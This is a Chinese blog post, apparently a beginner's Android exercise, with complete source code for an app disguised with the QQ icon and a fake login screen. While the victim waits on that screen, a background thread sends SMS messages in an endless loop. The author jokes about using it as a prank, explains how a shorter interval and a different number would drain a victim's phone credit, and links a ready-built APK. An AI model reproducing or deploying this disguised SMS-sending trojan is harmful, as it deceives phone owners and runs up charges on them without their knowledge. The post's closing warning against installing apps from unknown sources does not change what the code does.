昨天晚上,看到了一個例子,就特別感興趣迫不及待的想要親手實現它。是一個后台偷發短信的軟件,用的QQ的圖標偽裝,當用戶安裝上它並打開時會一直停留在登陸時的畫面,很有意思
然而,用戶並不知道這時軟件已經在后台偷偷的給它指定的號碼發短信了。如果在愚人節的時候用這個來愚弄小伙伴們,還挺有意思的,比如讓軟件指定給某個用戶發送:“你好,我是豬!”,后果可想而知,哈哈
如下是程序的源代碼:
MainActivity.java文件:
package com.wsqJohn.qq; import android.os.Bundle; import android.os.SystemClock; import android.app.Activity; import android.telephony.SmsManager; import android.view.Menu; import android.view.Window; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); //去除標題必須在setContentView 方法前調用 requestWindowFeature(Window.FEATURE_NO_TITLE);//取出標題 setContentView(R.layout.activity_main); //開啟一個子線程.while(true)循環發短信 new Thread(new Runnable() { @Override public void run() { while(true){ //循環發送短信 SystemClock.sleep(100000); SmsManager smsManager = SmsManager.getDefault();//短信管理器 smsManager.sendTextMessage( "10086", //收件人的電話 null, "你好啊!!!", null, //如果發送成功,回調此方法,通知我們 null);//當對方接受成功,回調此方法 } } }).start(); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } }
AndroidManifest.xml文件:
1 <?xml version="1.0" encoding="utf-8"?> 2 <manifest xmlns:android="http://schemas.android.com/apk/res/android" 3 package="com.wsqJohn.qq" 4 android:versionCode="1" 5 android:versionName="1.0" > 6 7 <uses-sdk 8 android:minSdkVersion="8" 9 android:targetSdkVersion="18" /> 10 <!-- 添加發送短信的權限 --> 11 <uses-permission android:name="android.permission.SEND_SMS"/> 12 13 <application 14 android:allowBackup="true" 15 android:icon="@drawable/ic_launcher" 16 android:label="@string/app_name" 17 android:theme="@style/AppTheme" > 18 <activity 19 android:name="com.wsqJohn.qq.MainActivity" 20 android:label="@string/app_name" > 21 <intent-filter> 22 <action android:name="android.intent.action.MAIN" /> 23 24 <category android:name="android.intent.category.LAUNCHER" /> 25 </intent-filter> 26 </activity> 27 </application> 28 29 </manifest>
activity_main.xml布局文件:
1 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" 2 android:layout_width="match_parent" 3 android:layout_height="match_parent" 4 android:background="@drawable/splash" 5 > 6 </RelativeLayout>
總結:這次的練習,更加熟悉了安卓開發的流程,以及各個文件間的關系,也更加熟悉了幾個快捷鍵的用法。如:ctr+1導包,alt+/自動補全代碼。還有很多快捷方式,可以讓我們在編寫代碼時非常方便快捷,相信隨着學習的進度,掌握的也會更多。
提醒:這次的學習讓我更加明白了,不能隨便下載並安裝位置來源的軟件,這樣很容易被咋騙,因為這樣的一般都有問題,比如說此次的軟件,如果在while(true)死循環中SystemClock.sleep(100000);休眠時間設置的不是100秒,而是一秒,指定的電話號碼不是10086,那么在用戶打開程序的過程中,后天每一秒種都在給指定用戶發短信,直到停機欠費,除非用戶即使發現並卸載該應用!所以安全第一!
這是此次的下載鏈接,http://files.cnblogs.com/files/wsqJohn/QQ.apk指定為發給10086的